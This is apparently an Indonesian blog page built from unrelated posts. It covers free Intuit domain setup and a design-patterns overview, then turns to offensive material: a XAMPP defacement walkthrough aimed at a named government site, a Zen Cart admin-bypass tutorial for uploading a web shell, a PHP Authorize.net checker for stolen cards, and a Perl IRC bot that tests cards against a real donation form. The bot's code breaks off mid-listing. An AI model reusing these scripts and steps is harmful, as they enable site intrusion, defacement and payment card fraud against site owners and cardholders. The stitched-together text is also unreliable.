Halloween Costume ideas 2015

Software, Film dan Artikel Terbaru dan Terpopuler - Menyediakan Software terbaru dan juga pastinya Full Version, Film terbaru yang pasti HD, dan Artikel yang bermanfaat.

Articles by "website"






CC udah gak bisa lagi gan sorry yak kalo ada trik baru ane update lagi !!!
Untuk mengganti name server tidak seperti dulu, masih bebas, kalau sekarang hanya beberapa NS aja yang bisa di approved, selebihnya gagal.
Ada caranya .. Agak njelimet tapi bisa kok Harus bisa english dikit2 atau pake google translate



Cara pertama kirim ticket ke intuit, kirim nama domain agan dan name server yang mau diupdate. cantumkan..

www.domainagan.com

Name server :

NS1.HOSTINGAGAN.COM

NS2.HOSTINGAGAN.COM ............................... :v ?

Buat permintaan dalam bahasa inggris, tata bahasanya bagaimana terserah agan

Gak ngerti cara kirim ticket???? Cari di google "ticket+intuit"

Cara kedua, Buat thread permintaan penggantian name server di forum helpnya intuit, dengan mencantumkan :

www.domainagan.com

Name server :

NS1.HOSTINGAGAN.COM

NS2.HOSTINGAGAN.COM

Mau lihat contohnya : http://community.intuit.com/posts/nameserver-errorshelp-me

Atau PM CS CS intuitnya. minta dibantu mengganti NS

Karena CSnya pake bahasa inggris yah kita mintanya dalam bahasa inggris juga

Untuk pendaftaran domain, sudah tidak bisa seperti

www.domainagan.com

tidak bisa kita daftarkan baru dengan nama www.domainagan.net atau .org dll

Sudah di protect sama intuit

Untuk pendaftaran selain wisconsin bisa di
http://www.oklahomagetonline.com/
http://www.newyorkgetonline.com/
http://www.texasgetonline.com/

Jika cari domain untuk urusan serius sebaiknya jangan di intuit, beli domain saja, karena lebih gampang manajemen domainnya.

Setelah 1 tahun, di intuit domain tersebut diwajibkan membayar sekian dollar perbulan jika ingin terus memakai.

Tetapi jika domain udah terlanjur terkenal selambat lambatnya 2 bulan sebelum domain anda mati, sebaiknya di pindahkan ke registar lain yang murah, semacam godaddy atau domain registar lainnya

Caranya? Kirim ticket seperti diatas, atau baca2 di forum intuit biasanya ada cara transfer domain ente dari intuit ke registar lain

for Cara Setting Domain Dari Intuit Ke Blogger

[*]Silahkan Login ke Intuit.com dengan username

dan password yang sudah anda

daftarkan

[*]Silahkan Pilih Menu DOMAINS

[*]Buka Manage Your Intuit Websites

Domains

[*]Klik Advanced DNS settings.

[*]Setelah anda sudah masuk ke Halaman

Domains Manager, Klik Edit Maka akan

Muncul DNS Editor

[*]Pada Form A Records, Tambahkan

menjadi 4 Form dengan cara Klik Add a

New A Record.Dan atur Sebagai berikut:

Pada Kolom HOST jadikan "@" semua,

dan Isilah Points To sebagai berikut:

1. 216.239.32.21

2. 216.239.34.21

3. 216.239.36.21

4. 216.239.38.21

Harus secara teratur seperti di atas!!!


[*]Dan rubah pada Kolom CNAMES menjadi

isi Host "www", dan isi POINTS To

dengan : "ghs.google.com" tanpa tanda kutip

[*]Klik submit

Selanjutnya

Login ke Blogspot anda dan cari blog yang

akan anda ubah, klik Setelan >

Penerbitan > Beralih kestelan lanjut > isi

alamat domain anda yang baru di kotak

yang telah di sediakan > jangan lupa menggunakan 'www' Contoh: www.indotricks.com terus Isilah verifikasi kata

yang ada dan akhiri dengan klik tombol

SIMPAN .

jika anda ingin gratis satu tahun lagi anda bisa transfer domain ke freehostia (nanti kalo udah mau expired). lumayan kan dapat perpanjangan gratis satu tahun lagi

seperti kita tahu website dari Intuit ini gratis untuk 1 tahun pertama, selanjutnya kalo ingin lanjut kita harus membayar $ 6,99/bulan. freehostia menawarkan gratis biaya transfer domain. jadi kita bisa dapet domain mahal ini gratis selama 2 tahun (1 tahun pertama dari Intuit dan 1 tahun kedua dari freehostia), nah baru pada tahun ketiga dst kita baru bayar sewa domain sebesar $ 9,95/tahun kepada freehostia.


2 tahun kayaknya lebih dari cukup untuk membangun website. Silakan Menuju link ini freehostia


UPDATE


Ada lagi gan biar domain gratis setahun lagi

http://www.ntchosting.com/domains/free-domain-registration-with-hosting.html



NB:

TS : Kalo mau Transfer domain jangan lupa pin Intuit nya simpen !

AGAN : Loh Knp gan ?

TS : Penting gan, nanti itu PIN bakalan di minta sama intuit.


UPDATE


Nih buat agan yg gak mau ribet ganti NS


Hosting Free :

http://sixserve.com/clients/cart.php?a=add&pid=30


Hosting Bayar :

https://www.hostingermuda.com/pages/shared-hosting/

Info Hosting Bakal di update, kalo ada yg baru




Halo Dunia! 
and hallo Family Programing T.I Sniper kami anak bangsa.!!

    Aku SourceMaking. Saya akan memberitahu Anda banyak cerita tentang arsitektur perangkat lunak yang baik dan mengajarkan cara untuk membuat dengan pola desain. Saya akan memandu Anda melalui anti-pola, perangkap umum dan kesalahan yang dilakukan orang ketika mereka berencana, membuat, dan mengelola proyek perangkat lunak. Pada akhirnya, saya akan mengajarkan Anda bagaimana untuk mencium kode buruk dan memperbaikinya dengan refactoring.

Kita bisa mulai dari awal atau Anda dapat memilih topik yang menarik di bawah ini.



Pola desain

   Dalam rekayasa perangkat lunak, pola desain adalah solusi berulang umum untuk masalah yang umum terjadi dalam desain perangkat lunak. Sebuah pola desain bukan desain jadi yang dapat diubah secara langsung ke kode. Ini adalah deskripsi atau template untuk bagaimana memecahkan masalah yang dapat digunakan dalam berbagai situasi.

Penggunaan Pola Desain

   Pola desain dapat mempercepat proses pembangunan dengan menyediakan diuji, paradigma pembangunan terbukti. Desain perangkat lunak yang efektif memerlukan mempertimbangkan isu-isu yang mungkin tidak menjadi terlihat sampai nanti dalam pelaksanaannya. Menggunakan kembali pola desain membantu untuk mencegah masalah halus yang dapat menyebabkan masalah besar dan meningkatkan pembacaan kode untuk coders dan arsitek akrab dengan pola.

Sering kali, orang hanya mengerti bagaimana menerapkan teknik desain software tertentu untuk masalah tertentu. Teknik ini sulit untuk diterapkan untuk lebih luas masalah. Pola desain memberikan solusi umum, didokumentasikan dalam format yang tidak memerlukan spesifik terkait dengan masalah tertentu.

Selain itu, pola memungkinkan pengembang untuk berkomunikasi menggunakan terkenal, nama dipahami dengan baik untuk interaksi perangkat lunak. Pola desain umum dapat ditingkatkan dari waktu ke waktu, membuat mereka lebih kuat dari desain ad-hoc.

Pola desain penciptaan

   Pola desain ini semua tentang kelas Instansiasi. Pola ini dapat dibagi lagi menjadi pola kelas penciptaan dan pola objek-penciptaan. Sementara pola kelas penciptaan menggunakan warisan efektif dalam proses Instansiasi, pola objek-penciptaan menggunakan delegasi efektif untuk mendapatkan pekerjaan yang dilakukan.

Contoh Abstrak Pabrik


Menciptakan sebuah instance dari beberapa keluarga kelas

Memisahkan konstruksi objek dari perwakilannya
Menciptakan sebuah instance dari beberapa kelas yang diturunkan

Hindari akuisisi mahal dan pelepasan sumber daya dengan daur ulang objek yang tidak lagi
digunakan
Sebuah contoh sepenuhnya diinisialisasi untuk disalin atau kloning

Sebuah kelas yang hanya satu contoh bisa eksis
Pola desain struktural
Pola desain ini semua tentang kelas dan komposisi Obyek. Pola kelas penciptaan struktur menggunakan warisan untuk menulis interface. Struktural objek-pola menentukan cara untuk menulis objek untuk mendapatkan fungsi baru.


Pola desain struktural




   Pola desain ini semua tentang kelas dan komposisi Obyek. Pola kelas penciptaan struktur menggunakan warisan untuk menulis interface. Struktural objek-pola menentukan cara untuk menulis objek untuk mendapatkan fungsi baru.

Interface pertandingan kelas yang berbeda

Memisahkan antarmuka obyek dari pelaksanaannya

Sebuah struktur pohon obyek sederhana dan komposit

Tambahkan tanggung jawab untuk objek dinamis

Sebuah kelas tunggal yang mewakili seluruh subsistem

Sebuah contoh halus digunakan untuk berbagi efisien

Membatasi accessor / akses mutator

Sebuah benda yang mewakili obyek lain



Pola desain perilaku




   Pola desain ini adalah semua tentang Class objek komunikasi. Pola perilaku adalah mereka pola yang paling khusus berkaitan dengan komunikasi antara objek

Cara melewati permintaan antara rantai benda

Merangkum permintaan perintah sebagai obyek

Sebuah cara untuk memasukkan unsur-unsur bahasa dalam sebuah program

Berurutan mengakses elemen koleksi

Mendefinisikan komunikasi disederhanakan antara kelas

Menangkap dan mengembalikan keadaan internal obyek

Dirancang untuk bertindak sebagai nilai default dari sebuah objek

Sebuah cara memberitahukan perubahan ke sejumlah kelas

Mengubah perilaku obyek ketika perubahan keadaan

Merangkum sebuah algoritma dalam kelas

Menunda langkah yang tepat dari sebuah algoritma untuk subclass

Mendefinisikan operasi baru untuk kelas tanpa perubahan






Kritik
Konsep pola desain telah dikritik oleh beberapa di bidang ilmu komputer.


Menargetkan masalah yang salah
   Kebutuhan pola hasil dari menggunakan bahasa komputer atau teknik dengan kemampuan abstraksi cukup. Di bawah anjak ideal, konsep tidak boleh disalin, tetapi hanya direferensikan. Tetapi jika ada sesuatu yang direferensikan bukan disalin, maka tidak ada "pola" untuk label dan katalog. Paul Graham menulis di Dendam esai dari Nerds.

Peter Norvig memberikan argumen yang sama. Dia menunjukkan bahwa 16 dari 23 pola dalam buku Pola Desain (yang terutama difokuskan pada C ++) disederhanakan atau dihilangkan (melalui dukungan bahasa langsung) dalam Lips atau Dylan.

Tidak memiliki dasar-dasar resmi   Studi tentang pola desain telah berlebihan ad hoc, dan bahkan ada yang berpendapat bahwa konsep tersebut sangat perlu dimasukkan pada pijakan yang lebih formal. Pada OOPSLA 1999, Gang of Four adalah (dengan kerja sama mereka penuh) mengalami percobaan menunjukkan, di mana mereka "dibebankan" dengan berbagai kejahatan terhadap ilmu komputer. Mereka "dihukum" oleh ⅔ dari "juri" yang menghadiri persidangan.

Mengarah ke solusi efisien
   Ide pola desain merupakan upaya untuk membakukan apa yang sudah diterima praktik terbaik. Dalam prinsip ini mungkin tampak menguntungkan, namun dalam prakteknya sering mengakibatkan duplikasi yang tidak perlu kode. Hal ini hampir selalu solusi yang lebih efisien untuk menggunakan implementasi baik-faktor daripada "cukup hanya nyaris baik" pola desain.

Tidak berbeda secara signifikan dari abstraksi lainnya

   Beberapa penulis menyatakan bahwa pola-pola desain tidak berbeda secara signifikan dari bentuk-bentuk abstraksi, dan bahwa penggunaan terminologi baru (dipinjam dari komunitas arsitektur) untuk menggambarkan fenomena yang ada dalam bidang pemrograman tidak diperlukan. Model-View-Controller paradigma yang disebut-sebut sebagai contoh dari "pola" yang mendahului konsep "pola desain" oleh beberapa tahun. Hal ini lebih jauh berpendapat oleh beberapa bahwa kontribusi utama dari masyarakat Pola Desain (dan Gang of Four buku) adalah penggunaan Alexander pola bahasa sebagai bentuk dokumentasi; praktek yang sering diabaikan dalam literatur.
Antipatterns: The Survival Guide
Baca selanjutnya
Artikel ini diambil dari Pola Desain buku kami Dijelaskan Cukup.


Semua pola desain dikompilasi ada. Buku ini ditulis dengan jelas, bahasa yang sederhana yang membuatnya mudah untuk membaca dan memahami (seperti artikel ini).




jadi mari mulai

exploit: 

Dork :
allinurl:/xampp/



sekarang kita punya website ini


 
jika link itu déferrent hanya mengubahnya ke ini
http://www.puertoesmeraldas.gob.ec/xampp/index.php
untuk deface itu
hanya menghapus index.php
dan menambahkan untuk itu lang.php ? kj - fido_was_here
http://www.puertoesmeraldas.gob.ec/xampp/lang.php?kj-fido_was_here
kj - fido sini mengubahnya nama Hacked_By_you Anda
 
kesalahan akan muncul
itu berarti Oke/




sekarang pergi dan memeriksa situs tetapi jangan lupa untuk menambahkan link
xampp / lang.tmp
untuk
http://www.puertoesmeraldas.gob.ec
=
ini: 3
 
 http://www.puertoesmeraldas.gob.ec/xampp/lang.tmp



Keberhasilan !!



 
 
sekarang pergi dan hack




Karena banyak yg minta agar bug ZC dipublish, maka kali ini saya akan mencoba memberikan tutor bug lawas ini. meskipun di mesin pencari google, sudah banyak tutor ZC yg terpublish, mengapa kok masih ada aja yg minta tutorial ini ?? Itulah yg saya herankan selama ini....

Pertama-tama, siapkan dulu beberapa syarat untuk melaksanakan kegiatan ini :
Makan Kue Berger :v  ya...!!
Kopi secangkir saja..
Laptop cukup merk LENOVO.. ^_^
Koneksi internet yang memadai
Mari kita cari di google beberapa target yg memadai, ketik dork standar2 aja kayak "Powered by Zen Cart"


Setelah itu, cek satu per satu site untuk menentukan target site yg masih vuln, hal ini harus dilakukan karena bug zc sudah lama beredar sekitar tahun 2008. Berikut cara penentuan site yg vuln :

http://domain.com/halamanadmin/index.php//password_forgotten.php
Apabila site vuln, maka akan muncul seperti ini :
  







gambar diatas, menunjukkan bahwa kita telah memasuki halaman admin site, setelah itu langsung saja kita masuk ke dalam halaman define_pages_editor.php dengan cara :

http://domain.com/halamanadmin/define_pages_editor.php//password_forgotten.php
Gambar nya muncul seperti :




dari keterangan gambar diatas, kita akan merubah tampilan main_page agar dapat mengakses file shell kita, karena database membaca nya dari angka 0, maka kita akan mengakses nya dg angka 4 :



http://www.domain.com/admin/define_pages_editor.php//password_forgotten.php?define_it=4&action=new_page

Setelah itu langsung view source, nah silahkan lakukan copy pada kode merah bertuliskan <form hingga sampai dengan </form>








Lalu buat file baru define.html kemudian paste code yg telah kalian copy tadi kedalam file tersebut.Lalu rubah halaman target dan tambahkan //password_forgotten.php setelah itu save file.Lihat gambar dibawah ini bila masih bingung :




Mari kita buka file tersebut dan kita isi coding shell yg akan kita tanamkan ke target.




Lalu akses site target, maka backdoor mu langsung muncul dihalaman terdepan, langsung deh upload shell anda :)



Nb:
- jangan lupa mengembalikan lagi halaman depan site target yg telah anda rubah tadi.
- bila halaman define_pages_editor tertulis error_file_not_writeable, kita bisa upload file kita di banner_manager.php / record_company.php / yang laennya....
Thank's My Family T.I Sniper



B
erikut adalah script untuk check peluru kalian, ingat kalian harus memasukkan terlebih dahulu account authorize yang valid agar script berjalan.


apabila ada pesan Merchant Respond: The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder. maka peluru itu valid.

harap digunakan dengan baik ya...



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML lang='en'> <HEAD> <link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2e3aqNxSOjH2UDZMa4L4B8-x-KmPZL-TEpDETfGNyQ1XnONceWmIHv8o9QXAHYMUFe5M5gWqVGwlI3jIVPaU3S7dgZfDtqL1UxdPCw73m1Rm0XVWEKUsnKgx1jkmyXulynVS00viJg5w/h120/indonesia.gif' rel='shortcut icon'/> <style type="text/css"> <!-- .ui-effects-transfer { border: 2px dotted gray; } body,td,th { font-family: Georgia; color: #00FF00; } body, html { background-color: #000000; padding:0; margin:0; height:100%; } h1 { font-size:250%; } .theAbs { top:0; position:absolute; } --> </style> <TITLE>Authorize Checker by ...::[BABY CORP]::...</TITLE> </HEAD> <BODY> <br><br> <div align="center"><font size="16px"> Authorize Checker by ...::[BABY CORP]::... </font> </div> <form name="payform" method="post" action="<?php $_SERVER['PHP_SELF'];?>"> <div class="maindiv" align="center"> <input name="firstname" type="hidden" value="Jonny"> <input name="lastname" type="hidden" value="Daniel"> <input name="email" type="hidden" value="hoamsss@hotmail.com"> <input name="address" type="hidden" value="385 Homestead Ave"> <input name="city" type="hidden" value="Hartford"> <input name="state" type="hidden" value="CT"> <input name="cardholder" type="hidden" value="Jonny Daniel"> <input name="zip" type="hidden" value="06112"> <div class="rightbox"><br><br><br> <div class="leftone">Card Number</div> <div class="rightone"><input name="cardnumber" type="text" maxlength="16"></div> <div class="leftone">Expiration</div> <div class="leftone"><input name="cardyear" type="text" maxlength="4"></div> <div class="leftone">CVV Number</div> <div class="rightone"><input name="cardcvv" type="text" maxlength="4"></div> <div class="leftone">Amount</div> <div class="rightone"><input name="amount" type="text" maxlength="3" value="100"></div> <br><br><br> <div class="leftone""><input value="Pay Now" style="border:1px outset gray; width:100px;" type="submit"></div> <div class="clear"></div> </div> <br><br> </form> <?php if ($_SERVER['REQUEST_METHOD'] == "POST") { $LOGINKEY = 'CHANGE IT';// x_login $TRANSKEY = 'CHANGE IT';//x_tran_key $firstName =urlencode( $_POST['firstname']); $lastName =urlencode($_POST['lastname']); $creditCardType =urlencode( $_POST['cardtype']); $creditCardNumber = urlencode($_POST['cardnumber']); $expDateYear =urlencode( $_POST['cardyear']); $cvv2Number = urlencode($_POST['cardcvv']); $address1 = urlencode($_POST['address']); $city = urlencode($_POST['city']); $state =urlencode( $_POST['state']); $zip = urlencode($_POST['zip']); //give the actual amount below $amount = urlencode( $_POST['amount']); $currencyCode="USD"; $paymentType="Sale"; $post_values = array( "x_login" => "$LOGINKEY", "x_tran_key" => "$TRANSKEY", "x_version" => "3.1", "x_delim_data" => "TRUE", "x_delim_char" => "|", "x_relay_response" => "FALSE", //"x_market_type" => "2", "x_device_type" => "1", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_card_num" => $creditCardNumber, "x_exp_date" => $expDateYear, "x_card_code" => $cvv2Number, "x_amount" => $amount, "x_first_name" => $firstName, "x_last_name" => $lastName, "x_address" => $address1, "x_state" => $state, "x_response_format" => "1", "x_zip" => $zip ); $post_string = ""; foreach( $post_values as $key => $value )$post_string .= "$key=" . urlencode( $value ) . "&"; $post_string = rtrim($post_string,"& "); //for live mode use the followin url $post_url = "https://secure.authorize.net/gateway/transact.dll"; //for test use this url //$post_url = "https://test.authorize.net/gateway/transact.dll"; $request = curl_init($post_url); // initiate curl object curl_setopt($request, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($request, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($request, CURLOPT_POSTFIELDS, $post_string); // use HTTP POST to send form data curl_setopt($request, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. $post_response = curl_exec($request); // execute curl post and store results in $post_response // additional options may be required depending upon your server configuration // you can find documentation on curl options at http://www.php.net/curl_setopt curl_close ($request); // close curl object // This line takes the response and breaks it into an array using the specified delimiting character $response_array = explode($post_values["x_delim_char"],$post_response); if($response_array[0]==2||$response_array[0]==3) { //success echo '<b>Payment Failure</b>. <br>'; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo '<br><br>Press back button to go back to the previous page'; echo "<br><br><br><br>"; } else { $ptid = $response_array[6]; $ptidmd5 = $response_array[7]; echo "Payment Success"; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo "<br><br><br><br>"; } } ?> <div align="center"> <a href='http://www.babycorp.name' target='_blank'><b>BabyCorp Authorize Checker 1.0</b></a> - Copyright &copy; 2011 - <a href="http://www.babycorp.name" target="_blank"><b>...::[BABY CORP]::...</b></a> <br /> </div> </BODY> </HTML>


Script Bot Check CC, just modified the merchant and form, it will be worked ... :)

#!/usr/lib/perl

#Call to standalone modules directory
BEGIN{push(@INC,'Modules');}

#Modules Inclusion
use LWP::Socket;
use LWP::UserAgent;
use HTTP::Request;
use Parallel::ForkManager;
use MIME::Base64 ();
use WWW::Mechanize;
use WWW::Mechanize::FormFiller;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use MIME::Base64;

$| = 1;


#Defines global variable/array
my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
my(@chans,@admins,@user_agents);


# Configurations Variable
my $outcri = "Mg==";
$systemcri = MIME::Base64::decode($outcri);
$timeout       = $systemcri;
my $hostcri = "ODcuMjM2LjE5NC42OQ==";
$systemcri = MIME::Base64::decode($hostcri);
$hosting        = "irc.malang.co.uk";
$port          = 6667;
my $nkpro = "Hack";
$ident         = "xxx";
$parallel_fork = 15;
my @botcmd = ('1');
@chans = ("#chking");
my $proo = "ZGV2aWw=";
$systempro = MIME::Base64::decode($proo);
my $cheataer = "ZGV2aWw=";
$sistempro = MIME::Base64::decode($cheataer);
@HackAttack = ('HackAttack');
@user_agents = &get_user_agents();

#Irc Socket Connection
my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
$sysircuno = MIME::Base64::decode($startirc);
$irc_socket = new LWP::Socket;
$irc_socket->connect($hosting,$port);
$irc_socket->write("USER ".$ident." 8 * : 0,9 HackAttsck \r\n");
$irc_socket->write("NICK ".$nkpro."\r\n");
$irc_socket->write("NICKSERV IDENTIFY 1q2w3e4r5t6y\r\n");
$irc_socket->write("JOIN $chans[0]\r\n");
$irc_socket->write("JOIN $chans[1]\r\n");
$irc_socket->write("JOIN $chans[2]\r\n");
$irc_socket->write("JOIN $chans[3]\r\n");
$irc_socket->write("JOIN $chans[4]\r\n");
$irc_socket->write("JOIN $chans[5]\r\n");


while($irc_socket)
{
    my $bof;
    $irc_socket->read_until("\n", \$bof);
    if($bof =~ /PING :(.*)/)
    {
        $irc_socket->write("PONG :$1\r\n");
    }

    if($bof =~ /PRIVMSG (.*?) :(.*)/)
    {
        #PRIVMSG
        my %msg = &get_msg($bof);
                my $nick = $msg{'from'};
        if($msg{'what'} =~ /\!join (.*)/)
        {
        my $chan = $1;
            if(&ctrl_admin(\%msg) == 0){
                                &respond_to_privmsg(\%msg," 15,1[ 7REQUEST ADMIN 15] 9 Ok Boss! I'm Going to $chan ");
                $irc_socket->write("JOIN $chan\r\n");
            }
        }
        if($msg{'what'} =~ /\!cambiarcmd (.*)/){
        my $comma = $1;
            if(&ctrl_admin(\%msg) == 0){
                &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 CHANGiNG COMMAND STRING TO !sql${botcmd} ");
                &canghecmd($comma);
            }
        }
if($msg{'what'} =~ /\!cnick (.*)/)
        {
        my $cnick = $1;
        if(&ctrl_admin(\%msg) == 0){
        $irc_socket->write("NICK $cnick\r\n");


        }
        }
        if($msg{'what'} =~ /\!ignore (.*)/)
        {
        my $chknick = $1;
            if(&ctrl_admin(\%msg) == 0){
                $irc_socket->write("PRIVMSG $master : 7,1 Ignored 14=> 4 $1 \r\n");
                addlog("SCRIPTS/ignore.txt", "$1|$1|Ignore");
        }
        }
               
        if($msg{'what'} =~ /\!help/){
 &respond_to_privmsg(\%msg," 6,1 Checker Status 9[ON] 8| 10IF You need Private Checker 0/msg HackAttack");
&respond_to_privmsg(\%msg," 0,1!chk <cc> <expdate> <cvv2> - 11 Visa , MasterCard");
               
}
if($msg{'what'} =~ /\!chk 1 2 3/){    

                &respond_to_privmsg(\%msg,"$nick : invalid format <cc> <expdate> <cvv2>");
               
                }

############################################################################################
##################################################################################  
 if($msg{'what'} =~ /\!chk status/ )
    {
    open (FILE, "data.txt") or die "Can't open file: $!";
    my ($lines) = (0);
    while (<FILE>) {
    $lines++;
    }
    &respond_to_privmsg(\%msg," 7,1#HackAttack 0: 14 Total 10$lines 14card checked 0- 100 14credit available");
    }
################################ Status by HackAttack ################################
##################################################################################   

 if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/)
                    {
                    my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);        
                    my $var1 = substr($expmes,0,2);
            my $var2 = substr($expmes,2,4);
                    my $range = 15;
                    my $minimum =1.200 ;
                    my $dolar = '$';
                    my $random_number = int(rand($range)) + $minimum;
                   

         my $rechecklist = "data.txt";
open FILE,"$rechecklist";
                my @results = <FILE>;
                close FILE;
                my $chkResVar = 0;
                foreach my $cRes(@results) {
                    if($cRes =~ /$numerocarta\|(.*)/) {
                    $chkResVar = 1;
                &respond_to_privmsg(\%msg," 7,1 $nick 00: 03 $numerocarta 00: 4Already checked! ");
                   goto finish;
                    }
                }    


print "\n";
if (substr($numerocarta,0,1)==4) {
$cctype = "VISA";
$varType = "VISA";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Visa 12]");
}
if (substr($numerocarta,0,1)==5) {
$cctype = "MasterCard";
$varType = "MC";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 4Master 7Card 12]");
}
if (substr($numerocarta,0,1)==3) {
$cctype = "AMERICAN EXPRESS";
$varType = "AmEx";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 14A 2m 14e 2x 12]");
}
if (substr($numerocarta,0,1)==6) {
$cctype = "Discover";
$varType = "Discover";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Disc 7o 15ver 12]");
}

print "inizio mechanize sacha\n";

my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
    $agent->get('http://secure16.activehost.com/roseensemble/donate.html');
    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
    $agent->form_number(1);
  { local $^W; $agent->current_form->value('concert-name', 'List my name in concert programs as'); };
  { local $^W; $agent->current_form->value('donorname', 'mark smith'); };
  { local $^W; $agent->current_form->value('memoriam', 'This gift is in memory of'); };
  { local $^W; $agent->current_form->value('inmemory', 'This gift is in memory of honor'); };
  { local $^W; $agent->current_form->value('creditCardType', 'varType'); };
  { local $^W; $agent->current_form->value('CCnumber', ''.$numerocarta.''); };
  { local $^W; $agent->current_form->value('CCexp', '20'.$var1.var2.''); };
  { local $^W; $agent->current_form->value('ccv', ''.$verifica.''); };
  { local $^W; $agent->current_form->value('realname', 'mark smith'); };
  { local $^W; $agent->current_form->value('CCaddress', 'las heras 32'); };
  { local $^W; $agent->current_form->value('city', 'Detroit'); };
  { local $^W; $agent->current_form->value('state', 'AL'); };
  { local $^W; $agent->current_form->value('zip_code', '05544'); };
  { local $^W; $agent->current_form->value('phone', '1569841055'); };
   $agent->submit();
  print $agent->content,"\n";
    my $allo=$agent->content;
my $file = "data.txt";
        open (MYFILE, ">>$file");
        print MYFILE "$numerocarta|$expmes$expanio|$verifica\n";
close (MYFILE);
    my $allo=$agent->content;
if ($allo =~/The transaction has been declined because of an AVS mismatch. /){
                        my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                        my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                            &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
                                               
                                      
print "card $variable!";                       
}
}
}elsif ($allo =~/This transaction has been declined./){
                       
                                                my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                                                my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                                                my $bankinfo = $1;
                                                &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00:  10,1$1 | | | ");


print "card $variable!";
}
}
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}elsif ($allo =~/There was a problem with your order./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4is not Valid ");
}elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}elsif ($allo =~/This transaction has been declined./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/This transaction requires voice authentication/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}
}
                                     
                                         
if($msg{'what'} =~ /\!bank\s(\d{6})/){
                      my $bankinfo = $1;
                        my $database = "banklist.txt";
                        open FILE,"$database" or die "Can't open file: $database";
                        my @results=<FILE>;
                        close FILE;
                        my $bankvar = 0;
                        my $chkvar = 0;
             my $nuova = substr($bankinfo,0,6);
                        foreach my $url (@results){
                        if($url =~ /$bankinfo\|(.*)/){
                        if($bankvar  == 0) {
                        $bankvar = 1;
                        &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1$1 ");
                        goto finish;
                      }
                    }
                   else{
                   $chkvar = 1;
                   }
                    }
                     if($chkvar == 1) {
                     &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1Unknown ");
                          }
                                finish:
                        }      

if($msg{'what'} =~ /\!q (.*)/)
        {
            my $qmsg = $1;
            if(&ctrl_admin(\%msg) == 0){
